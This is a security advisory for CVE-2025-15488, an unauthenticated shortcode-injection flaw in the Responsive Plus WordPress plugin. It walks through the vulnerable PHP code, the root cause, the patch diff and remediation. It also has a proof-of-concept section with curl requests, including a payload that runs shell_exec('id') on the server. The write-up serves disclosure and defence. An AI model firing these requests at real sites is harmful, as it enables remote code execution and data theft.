CVE-2025-15488: Unauthenticated Code Injection in Responsive Plus
Table of Contents
CVE-2025-15488 is a CVSS 9.8 Critical unauthenticated arbitrary shortcode execution (code injection) vulnerability in the Responsive Plus – Elementor Templates & Starter Sites WordPress plugin. An unauthenticated attacker can POST a crafted request to a publicly accessible AJAX endpoint and cause the server to execute any registered WordPress shortcode — including shortcodes from third-party plugins that evaluate arbitrary PHP code. All versions before 3.4.3 are affected.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Responsive Plus – Elementor Templates & Starter Sites |
| Plugin Slug | responsive-add-ons |
| CVE ID | CVE-2025-15488 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary Shortcode Execution (Code Injection) |
| Affected Versions | <= 3.4.2 |
| Patched Version | 3.4.3 |
| Published | March 30, 2026 |
| Researcher | Alex Tselevich (nos3curity) |
| Wordfence Advisory | Link |
Description
The Responsive Plus – Elementor Templates & Starter Sites plugin for WordPress is vulnerable to Remote Code Execution in all versions up to 3.4.3 (exclusive). This makes it possible for unauthenticated attackers to execute code on the server.
The vulnerability exists in the AJAX handler update_responsive_woo_free_shipping_left_shortcode, which is registered without any authentication or nonce requirement. This handler accepts attacker-controlled POST parameters and passes them directly to do_shortcode(), allowing any registered WordPress shortcode to be executed with the privileges of the web server.
Technical Analysis
Vulnerable Code Path
File: includes/customizer/helper.php
Step 1 — Hook Registration (lines 728–729)
Both authenticated and unauthenticated AJAX requests are registered for the same callback, with no nonce check:
add_action( 'wp_ajax_update_responsive_woo_free_shipping_left_shortcode', 'update_responsive_woo_free_shipping_left_shortcode' );
add_action( 'wp_ajax_nopriv_update_responsive_woo_free_shipping_left_shortcode', 'update_responsive_woo_free_shipping_left_shortcode' );
The nopriv variant means the handler fires for completely unauthenticated visitors.
Step 2 — Unvalidated POST Input (lines 703–724)
function update_responsive_woo_free_shipping_left_shortcode() {
$atts = array();
// The nonce is not provided by WooCommerce for this context, suppressing warning.
// phpcs:disable WordPress.Security.NonceVerification.Missing
if ( ( isset( $_POST['content'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content'] ) ) )
|| ( isset( $_POST['content_rech_data'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) ) ) {
$atts['content_reached'] = sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) );
$content = str_replace( '+', '%', sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) );
$atts['content'] = $content;
$return_shortcode_value = woo_free_shipping_shortcode( $atts, '' ); // ← attacker controls $atts
wp_send_json( $return_shortcode_value );
}
// ...
}
sanitize_text_field() strips HTML tags but preserves WordPress shortcode syntax such as [some_shortcode] or [php code="phpinfo()"]. The sanitized value is set directly as $atts['content_reached'].
Step 3 — Shortcode Execution (lines 678–692 + 631–635)
woo_free_shipping_shortcode() passes $atts['content_reached'] through to woo_free_shipping_left():
function woo_free_shipping_shortcode( $atts, $content ) {
// ...
$atts = shortcode_atts( array(
'content' => ...,
'content_reached' => esc_html__( 'You have Free delivery!', 'responsive_addons_pro' ),
'multiply_by' => 1,
), $atts );
$content_reached = $atts['content_reached']; // ← attacker-controlled value
// ...
return woo_free_shipping_left( ..., $content_reached, ... );
}
Inside woo_free_shipping_left() (line 635):
if ( $total >= $min_free_shipping_amount ) {
return do_shortcode( $content_reached ); // ← arbitrary shortcode execution
}
do_shortcode() will execute any registered WordPress shortcode contained in $content_reached, including shortcodes from other plugins that can run PHP code (e.g., shortcodes registered by code-snippet plugins, custom field evaluation plugins, etc.).
Root Cause
The root cause is a missing trusted-source validation on the content_rech_data POST parameter. The AJAX callback:
- Is registered for unauthenticated visitors (
wp_ajax_nopriv_*) - Has the nonce check explicitly disabled with a PHPCS suppression comment
- Reads
$_POST['content_rech_data']and passes it todo_shortcode()with no allowlist check on which shortcode tags are permitted
sanitize_text_field() was mistakenly assumed to be sufficient; it does not strip shortcode tags.
Why Existing Controls Failed
- No nonce: The developer explicitly suppressed nonce verification with
// phpcs:disable WordPress.Security.NonceVerification.Missing, citing WooCommerce context. This eliminated CSRF protection entirely and also destroyed the implicit protection nonces provide against anonymous callers. - Insufficient sanitization:
sanitize_text_field()is designed to strip HTML, not to restrict what WordPress shortcode tags are allowed. A value like[my_exec_shortcode cmd="id"]passes through untouched. - No shortcode allowlist: The code trusts whatever shortcode the caller supplies. Any shortcode registered by any active plugin — including code-execution shortcodes from popular plugins like “Insert PHP”, “Shortcodes Ultimate”, or site-specific custom shortcodes — can be triggered.
Attack Impact
An unauthenticated attacker can:
- Execute any WordPress shortcode registered on the target site
- Trigger shortcodes from other plugins that evaluate PHP code, potentially achieving full Remote Code Execution
- Read or exfiltrate data via shortcodes that expose user data, database contents, or file contents
- Achieve persistent access if a shortcode can create or modify WordPress admin accounts
- Abuse SSRF-capable shortcodes to pivot to internal network services
The CVSS score of 9.8 (Critical) reflects that no authentication, no interaction, and no special precondition (beyond WooCommerce being active and free shipping configured with a minimum order amount) is required.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with
responsive-add-onsplugin installed and activated, version <= 3.4.2 - WooCommerce installed and activated
- A free shipping method configured with a minimum order amount (e.g., “Free Shipping” zone, requires minimum order of $50)
- At least one product available for purchase on the store
Step-by-Step Reproduction
Step 1: Add items to session cart to meet the free shipping threshold
WooCommerce sessions are cookie-based. Any visitor can add items to their cart. If the free shipping minimum is $50 and Product ID 42 costs $60:
# Add a product to cart — use the site's actual product ID and URL
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
-X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=woocommerce_add_to_cart&product_id=42&quantity=1"
Alternatively, just visit any product page in a browser and add it to the cart, then use the browser’s cookie jar for the next request.
Step 2: Send the malicious AJAX request with an arbitrary shortcode payload
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
-X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=update_responsive_woo_free_shipping_left_shortcode" \
--data-urlencode "content=trigger" \
--data-urlencode "content_rech_data=[your_arbitrary_shortcode]"
Step 2a: Example with a PHP-execution shortcode (if “Insert PHP Snippet” or similar is active)
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
-X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=update_responsive_woo_free_shipping_left_shortcode" \
--data-urlencode "content=trigger" \
--data-urlencode "content_rech_data=[insert_php]echo shell_exec('id');[/insert_php]"
Step 2b: Example with a data-exposure shortcode (works on any WP site)
# The [password_protected] shortcode or [user_meta] shortcodes from various plugins
# can expose user data. Even core [gallery] shortcodes confirm code injection.
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
-X POST "https://TARGET/wp-admin/admin-ajax.php" \
-d "action=update_responsive_woo_free_shipping_left_shortcode" \
--data-urlencode "content=trigger" \
--data-urlencode "content_rech_data=[gallery ids='1']"
Expected Result
When the attacker’s cart total meets or exceeds the configured free shipping minimum, the server executes do_shortcode($content_rech_data) and returns the shortcode output in the JSON response. If a PHP-execution shortcode is registered, arbitrary OS commands or PHP code are executed server-side.
Verification
- Check the HTTP response body — the JSON payload will contain the shortcode output
- For RCE shortcodes: the output of
id(or whatever OS command is used) will appear in the response - For data-exposure shortcodes: sensitive WordPress data will appear in the response
If the shortcode has side effects (e.g., creating admin users, sending emails, writing files), verify via the WordPress admin panel or server file system.
Patch Analysis
What Changed
Only includes/customizer/helper.php was changed to address this vulnerability (the remaining 21 files changed in the release address unrelated improvements).
Fix Explanation
The patch completely eliminates reliance on user-supplied POST data. Instead of reading $_POST['content_rech_data'], the fixed function reads the shortcode configuration from a trusted server-side source — the WordPress Customizer setting responsive_popup_bottom_text — via get_theme_mod():
// Don't accept POST data from users
$default_bottom_text = esc_html__( '[responsive_woo_free_shipping_left]', 'responsive-addons-pro' );
$custom_text = get_theme_mod( 'responsive_popup_bottom_text', $default_bottom_text );
// Parse shortcode attributes from the stored value
if ( ! empty( $custom_text ) && preg_match( '/\[responsive_woo_free_shipping_left(.*?)\]/', $custom_text, $matches ) ) {
if ( ! empty( $matches[1] ) ) {
$shortcode_attrs = shortcode_parse_atts( $matches[1] );
if ( ! empty( $shortcode_attrs ) && is_array( $shortcode_attrs ) ) {
$atts = $shortcode_attrs;
}
}
}
// Recalculate from cart state using trusted database values
$return_shortcode_value = woo_free_shipping_shortcode( $atts, '' );
wp_send_json( $return_shortcode_value );
The fix introduces:
- No user input — POST parameters are completely ignored
- Trusted source — attributes come from the WordPress database value set by an administrator
- Tag restriction — the regex only extracts attributes from the
[responsive_woo_free_shipping_left]shortcode, not any arbitrary tag
This is a complete fix for the root cause. The endpoint no longer exposes an arbitrary shortcode execution surface.
Code Diff (Key Changes)
function update_responsive_woo_free_shipping_left_shortcode() {
$atts = array();
- // The nonce is not provided by WooCommerce for this context, suppressing warning.
- // phpcs:disable WordPress.Security.NonceVerification.Missing
-
- if ( ( isset( $_POST['content'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content'] ) ) )
- || ( isset( $_POST['content_rech_data'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) ) ) {
-
- $atts['content_reached'] = sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) );
- $content = str_replace( '+', '%', sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) );
- $atts['content'] = $content;
- $return_shortcode_value = woo_free_shipping_shortcode( $atts, '' );
- wp_send_json( $return_shortcode_value );
-
- } else {
-
+
+ // Don't accept POST data from users
+ $default_bottom_text = esc_html__( '[responsive_woo_free_shipping_left]', 'responsive-addons-pro' );
+ $custom_text = get_theme_mod( 'responsive_popup_bottom_text', $default_bottom_text );
+
+ // Parse shortcode attributes from the stored value
+ if ( ! empty( $custom_text ) && preg_match( '/\[responsive_woo_free_shipping_left(.*?)\]/', $custom_text, $matches ) ) {
+ if ( ! empty( $matches[1] ) ) {
+ $shortcode_attrs = shortcode_parse_atts( $matches[1] );
+ if ( ! empty( $shortcode_attrs ) && is_array( $shortcode_attrs ) ) {
+ $atts = $shortcode_attrs;
+ }
+ }
+ }
+
+ // Recalculate from cart state using trusted database values
$return_shortcode_value = woo_free_shipping_shortcode( $atts, '' );
wp_send_json( $return_shortcode_value );
-
- }
- // phpcs:enable
}
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Alex Tselevich (nos3curity) |
| March 30, 2026 | Publicly disclosed by Wordfence |
| March 30, 2026 | Patched version 3.4.3 released |
Remediation
Update the responsive-add-ons plugin to version 3.4.3 or later immediately.
If an immediate update is not possible:
- Temporarily deactivate the plugin, or
- Use a WAF rule to block POST requests to
admin-ajax.phpwhereaction=update_responsive_woo_free_shipping_left_shortcode